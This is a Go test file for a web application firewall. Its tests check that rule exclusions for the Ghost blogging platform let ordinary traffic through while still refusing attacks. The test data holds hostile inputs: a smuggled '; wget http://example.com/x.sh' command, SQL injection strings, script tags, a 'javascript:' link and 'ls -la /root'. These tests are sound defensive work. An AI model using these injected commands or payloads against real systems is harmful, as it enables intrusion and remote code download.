Files
smallwebwaf/internal/coreruleset/ghost_test.go
T
clawbot de7ef16001
check / check (push) Waiting to run
Core Rule Set: Ghost's ordinary requests pass by default (closes #357)
Ghost 6.76.0's ordinary traffic, recorded in `testdata/ghost-requests.txt`,
passes at the default settings and while bodies are read. It covers public
pages, members' sign-up and sign-in, the admin, the editor saving and
publishing posts and pages with code blocks and HTML cards, tags, settings,
staff invitations, uploads, newsletter settings, and both APIs. Ghost's
fixes, in the new `ghost.conf`, let through `filter`, the member `search`
and the embed `url` in the query, and plain text, addresses, articles, code
injection and passwords in JSON bodies. A `<script>` element and a
`javascript:` link stay refused in articles and code injection. `SWW_APPS`
names Ghost `ghost`. `README.md` lists Ghost; `SPEC.md` lists its fixes.

Model: opus-5-5
2026-11-12 04:58:37 +01:00

515 lines
15 KiB
Go

package coreruleset_test
import (
"encoding/json"
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// ghostThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const ghostThreshold = 5
// Paths of Ghost's Admin API, Content API and members' API.
const (
ghostPosts = "/ghost/api/admin/posts/"
ghostPost = ghostPosts + "6af458a5d281b00001a59969/"
ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/"
ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/"
ghostMembers = "/ghost/api/admin/members/"
ghostSettings = "/ghost/api/admin/settings/"
ghostSession = "/ghost/api/admin/session/"
ghostSetup = "/ghost/api/admin/authentication/setup/"
ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/"
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
ghostMember = "/members/api/member/"
ghostMagicLink = "/members/api/send-magic-link/"
)
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"ghost"},
})
// A filter, which only Ghost's fixes let through.
filter := get(ghostPosts + "?filter=tag:powershell")
wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(filter, giteaHost), matched(932120))
}
// ghostField is a field of a JSON body Ghost receives: the request that
// sends it, and its body, with VALUE where the field's value goes.
type ghostField struct{ method, target, body string }
// with returns f's body holding value, escaped for JSON.
func (f ghostField) with(t *testing.T, value string) string {
t.Helper()
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
return strings.ReplaceAll(
f.body,
"VALUE",
string(quoted[1:len(quoted)-1]),
)
}
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostTextFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`},
{http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`},
{
http.MethodPut,
ghostPost,
`{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`,
},
{http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`},
{
http.MethodPost,
"/ghost/api/admin/pages/",
`{"pages":[{"slug":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/tags/",
`{"tags":[{"name":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/tags/",
`{"tags":[{"description":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/labels/",
`{"labels":[{"name":"VALUE"}]}`,
},
{http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`},
{
http.MethodPost,
ghostMembers,
`{"members":[{"labels":[{"name":"VALUE"}]}]}`,
},
{http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`},
{
http.MethodPut,
ghostNewsletter,
`{"newsletters":[{"sender_name":"VALUE"}]}`,
},
{
http.MethodPost,
"/ghost/api/admin/snippets/",
`{"snippets":[{"name":"VALUE"}]}`,
},
{http.MethodPut, ghostMember, ghostMemberName},
}
// ghostMemberName is the body that saves a member's name at /members/api/.
const ghostMemberName = `{"name":"VALUE"}`
// ghostAddressFields hold a member's or a staff user's email address and skip
// 930120, 932120 and 932260.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAddressFields = []ghostField{
{
http.MethodPost,
ghostMagicLink,
`{"email":"VALUE","emailType":"signup"}`,
},
{http.MethodPut, ghostMember, `{"email":"VALUE"}`},
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
{
http.MethodPost,
ghostPasswordReset,
`{"password_reset":[{"email":"VALUE"}]}`,
},
{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
}
// ghostArticleFields hold an article and skip the rules of 900355.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostArticleFields = []ghostField{
{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
{
http.MethodPost,
ghostPosts + "?source=html",
`{"posts":[{"html":"VALUE"}]}`,
},
{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
{
http.MethodPost,
"/ghost/api/admin/snippets/",
`{"snippets":[{"lexical":"VALUE"}]}`,
},
{
http.MethodPut,
ghostNewsletter,
`{"newsletters":[{"footer_content":"VALUE"}]}`,
},
}
// ghostCodeFields hold code injection or a setting and skip the rules of
// 900356.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostCodeFields = []ghostField{
{
http.MethodPut,
ghostPost,
`{"posts":[{"codeinjection_head":"VALUE"}]}`,
},
{
http.MethodPut,
ghostPage,
`{"pages":[{"codeinjection_foot":"VALUE"}]}`,
},
{
http.MethodPut, ghostSettings,
`{"settings":[{"key":"title","value":"Blog"},` +
`{"key":"codeinjection_head","value":"VALUE"}]}`,
},
}
// The query fields that skip some rules, each ending in "=".
const (
ghostAdminFilter = ghostPosts + "?limit=30&filter="
ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
ghostSearch = ghostMembers + "?limit=100&search="
ghostEmbed = "/ghost/api/admin/oembed/?type=bookmark&url="
)
// ghostQueryFields are the query fields that skip some rules.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostQueryFields = []string{
ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
}
// ghostURLs are addresses 930120 and 932120 refused in url.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostURLs = []string{
"https://github.com/example/site/blob/main/.htaccess",
"https://example.com/blog/powershell-tips?ref=ghost",
"https://example.com/docs/python3/",
}
// ghostAddresses are addresses 930120, 932120 and 932260 refused.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAddresses = []string{
"erin.htaccess@example.com",
"python3.dev@example.com",
"dave.powershell@example.com",
}
// ghostArticle is an ordinary article with a code block, an HTML card and an
// embed, which each of the rules of 900355 refused.
const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
`<pre><code>#!/usr/bin/env python3
cat /etc/hosts | grep example
ls -la /var/www/html/.htaccess
powershell -ExecutionPolicy Bypass -File build.ps1
SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;
document.querySelectorAll('a').forEach((a) => console.log(a.href));
window.onload = () => alert('ready');</code></pre>` +
`<iframe src="https://www.youtube-nocookie.com/embed/x" allowfullscreen></iframe>` +
`<img src="https://images.example.com/banner.png" ` +
`onclick="this.classList.toggle('big')">`
// ghostCodeInjection is ordinary code injection for the head of a page.
const ghostCodeInjection = `<meta name="google-site-verification" content="x">` +
`<link rel="preconnect" href="https://fonts.example.com">` +
`<style>.gh-head { border-bottom: 1px solid #eee; }</style>`
// wantGhostField checks that the Core Rule Set, reading bodies, refuses f
// holding value, or lets it through.
func wantGhostField(t *testing.T, f ghostField, value string, refused bool) {
t.Helper()
r := request{f.method, f.target, []string{jsonBody}}
body := f.with(t, value)
got, _ := inspectBody(t, readingBodies(t), r, body)
if refused && got.Score < ghostThreshold {
t.Errorf(
"%s %s %.300s let through: %+v",
f.method,
f.target,
body,
got,
)
}
if !refused && got.Score >= ghostThreshold {
t.Errorf("%s %s %.300s refused: %+v", f.method, f.target, body, got)
}
}
// wantGhostQuery checks that the Core Rule Set, at the defaults, refuses
// target, a query field and its value, or lets it through.
func wantGhostQuery(t *testing.T, target string, refused bool) {
t.Helper()
got := inspect(t, atDefaults(t), get(target))
if refused && got.Score < ghostThreshold {
t.Errorf("%s let through: %+v", target, got)
}
if !refused && got.Score >= ghostThreshold {
t.Errorf("%s refused: %+v", target, got)
}
}
func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, encoded := range hardValues {
value, _ := url.QueryUnescape(encoded)
fields := slices.Concat(
ghostTextFields,
ghostArticleFields,
ghostCodeFields,
)
for _, f := range fields {
wantGhostField(t, f, "Notes on "+value+" & tidy files", false)
}
// filter as the admin's pickers write it, and search as typed.
wantGhostQuery(
t,
ghostAdminFilter+url.QueryEscape("title:~'"+value+"'"),
false,
)
wantGhostQuery(
t,
ghostContentFilter+url.QueryEscape("tags.name:~'"+value+"'"),
false,
)
wantGhostQuery(t, ghostSearch+encoded, false)
}
for _, address := range ghostURLs {
wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
}
for _, address := range ghostAddresses {
for _, f := range ghostAddressFields {
wantGhostField(t, f, address, false)
}
}
for _, f := range ghostArticleFields {
wantGhostField(t, f, ghostArticle, false)
}
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostCodeInjection, false)
}
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
url.QueryEscape(
"tag:powershell+status:[draft,scheduled,published,sent]",
), false)
wantGhostQuery(t, "/ghost/api/admin/members/?filter="+
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
}
// ghostAttacks are an SQL injection, a path traversal and a script
// injection, not escaped.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
// commandAfterASeparator is a shell command after a ";", not escaped.
const commandAfterASeparator = "; wget http://example.com/x.sh"
func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range ghostAttacks {
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, attack, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(t, target+url.QueryEscape(attack), true)
}
}
// A command after a separator stays refused wherever its rules do not
// misfire: in the query fields, the plain text and the addresses.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
wantGhostField(t, f, commandAfterASeparator, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(
t,
target+url.QueryEscape(commandAfterASeparator),
true,
)
}
// The articles and code injection carry HTML on purpose, but a script
// element and a javascript: link are still refused there.
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
}
// An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields {
wantGhostField(t, f, "ls -la /root", true)
}
}
func TestGhostExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The fields keep their rules off Ghost's paths, on Ghost's paths that
// take no such field, and when the query has a field of the same name.
const (
title = `{"posts":[{"title":"python3"}]}`
article = `{"posts":[{"lexical":"<p>cat /etc/hosts</p>"}]}`
name = `{"name":"python3"}`
email = `{"email":"python3.dev@example.com"}`
username = `{"username":"python3.dev@example.com"}`
setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}`
passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
userEmail = `{"users":[{"email":"python3.dev@example.com"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/api/posts/", title},
{"/ghost/api/content/posts/", title},
{ghostMember, title},
{ghostPosts + "?json.posts.0.title=x", title},
{ghostPosts, `{"posts":[{"visibility":"python3"}]}`},
{ghostPosts, name},
{ghostMember + "?json.name=x", name},
{"/api/posts/", article},
{"/ghost/api/admin/users/", `{"users":[{"bio":"<iframe src=x></iframe>"}]}`},
{ghostPosts + "?json.posts.0.lexical=x", article},
{"/api/settings/", `{"settings":[{"value":"<meta name=x content=y>"}]}`},
{
ghostSettings + "?json.settings.0.value=x",
`{"settings":[{"value":"<meta name=x content=y>"}]}`,
},
{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
{ghostPosts, email},
{ghostMembers, email},
{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
{
ghostMembers + "?json.members.0.email=x",
`{"members":[{"email":"python3.dev@example.com"}]}`,
},
{ghostMember + "?json.email=x", email},
{ghostPosts, username},
{ghostSession + "?json.username=x", username},
{ghostPosts, setupEmail},
{ghostSetup + "?json.setup.0.email=x", setupEmail},
{ghostPosts, passwordResetEmail},
{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
{ghostPosts, userEmail},
{ghostUser + "?json.users.0.email=x", userEmail},
{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
{
"/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x",
`{"users":[{"profile_image":null}]}`,
},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < ghostThreshold {
t.Errorf(
"PUT %s %s let through: %+v",
refused.target,
refused.body,
got,
)
}
}
}
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
t.Parallel()
// The query fields keep their rules off Ghost's paths, and in other
// query fields there. search skips its rules only on the Admin API, and
// url only on the editor's lookup of embeds.
for _, target := range []string{
"/api/posts/?filter=powershell",
"/ghost/posts/?filter=powershell",
"/ghost/api/admin/posts/?order=powershell",
"/ghost/api/content/posts/?search=python3",
"/members/api/member/?search=python3",
"/ghost/api/admin/posts/?url=powershell",
"/oembed/?url=powershell",
} {
wantGhostQuery(t, target, true)
}
}
func TestGhostPasswordsPass(t *testing.T) {
t.Parallel()
// Ghost's password fields, each sent to the path that takes it. A dot
// nests a field, as Ghost nests it in an array.
fields := []passwordFields{
{ghostSession, jsonBody, []string{passwordKey}},
{
"/ghost/api/admin/authentication/setup/",
jsonBody,
[]string{"setup.0.password"},
},
{
"/ghost/api/admin/authentication/invitation/", jsonBody,
[]string{"invitation.0.password"},
},
{
"/ghost/api/admin/authentication/password_reset/", jsonBody,
[]string{
"password_reset.0.newPassword",
"password_reset.0.ne2Password",
},
},
{
"/ghost/api/admin/users/password/", jsonBody,
[]string{
"password.0.oldPassword", "password.0.newPassword",
"password.0.ne2Password",
},
},
}
wantPasswordFieldsPass(t, fields)
}